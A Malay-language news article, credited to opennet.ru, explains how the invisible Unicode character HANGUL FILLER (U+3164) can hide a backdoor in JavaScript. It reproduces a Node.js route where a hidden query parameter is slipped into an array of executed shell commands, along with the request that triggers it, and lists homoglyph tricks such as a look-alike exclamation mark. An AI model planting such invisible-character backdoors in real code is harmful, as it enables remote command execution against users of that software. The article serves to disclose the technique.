Menggunakan aksara unicode yang tidak kelihatan untuk menyembunyikan tindakan dalam kod JavaScript

Berikutan kaedah serangan Sumber Trojan berdasarkan penggunaan aksara Unicode yang mengubah susunan paparan teks dwiarah, teknik lain untuk memperkenalkan tindakan tersembunyi telah diterbitkan, terpakai pada kod JavaScript. Kaedah baharu adalah berdasarkan penggunaan aksara unicode "γ…€" (kod 0x3164, "HANGUL FILLER"), iaitu huruf tetapi tidak mempunyai kandungan yang boleh dilihat. Kategori Unicode yang dimiliki oleh watak ini telah dibenarkan sejak spesifikasi ECMAScript 2015 untuk digunakan dalam nama pembolehubah JavaScript, yang memungkinkan untuk mencipta pembolehubah halimunan atau pembolehubah baharu yang tidak dapat dibezakan daripada pembolehubah lain dalam editor kod popular seperti Notepad++ dan Kod VS.

Sebagai contoh, kod untuk platform Node.js diberikan, di mana, menggunakan pembolehubah yang terdiri daripada satu aksara "γ…€", pintu belakang disembunyikan yang membolehkan anda melaksanakan kod yang ditentukan oleh penyerang: app.get( '/network_health', async (req, res) => { const { timeout,γ…€} = req.query; // sebenarnya mengatakan "const { timeout,γ…€ \u3164}" const checkCommands = [ 'ping -c 1 google. com', 'curl -s http:// example.com/',γ…€ // koma diikuti dengan \u3164 ];

Pada pandangan pertama, hanya nilai tamat masa yang diluluskan melalui parameter luaran, dan tatasusunan dengan arahan yang akan dilaksanakan mengandungi senarai tetap yang tidak berbahaya. Tetapi sebenarnya, selepas pembolehubah tamat masa, nilai pembolehubah halimunan lain dengan kod simbol \u3164 diberikan, yang juga digantikan ke dalam tatasusunan perintah boleh laku. Oleh itu, dengan adanya struktur sedemikian, penyerang boleh menghantar permintaan seperti "https://host:8080/network_health?%E3%85%A4=command" untuk mengaktifkan pintu belakang dan melaksanakan kodnya.

Sebagai contoh lain, aksara "Ηƒ" (ALVEOLAR CLICK) diberikan, yang boleh digunakan untuk memberikan rupa yang menunjukkan tanda seru. Contohnya, ungkapan "if(environmentΗƒ=ENV_PROD){" apabila dilaksanakan dalam Node.js 14 akan sentiasa benar, kerana ia tidak menyemak perbezaan, tetapi menetapkan pembolehubah "environmentΗƒ" kepada ENV_PROD. Aksara unikod yang mengelirukan termasuk "/", "βˆ’", "οΌ‹", "β©΅", "❨", "β«½", "κ“Ώ", dan "βˆ—".

Sumber: opennet.ru

Tambah komen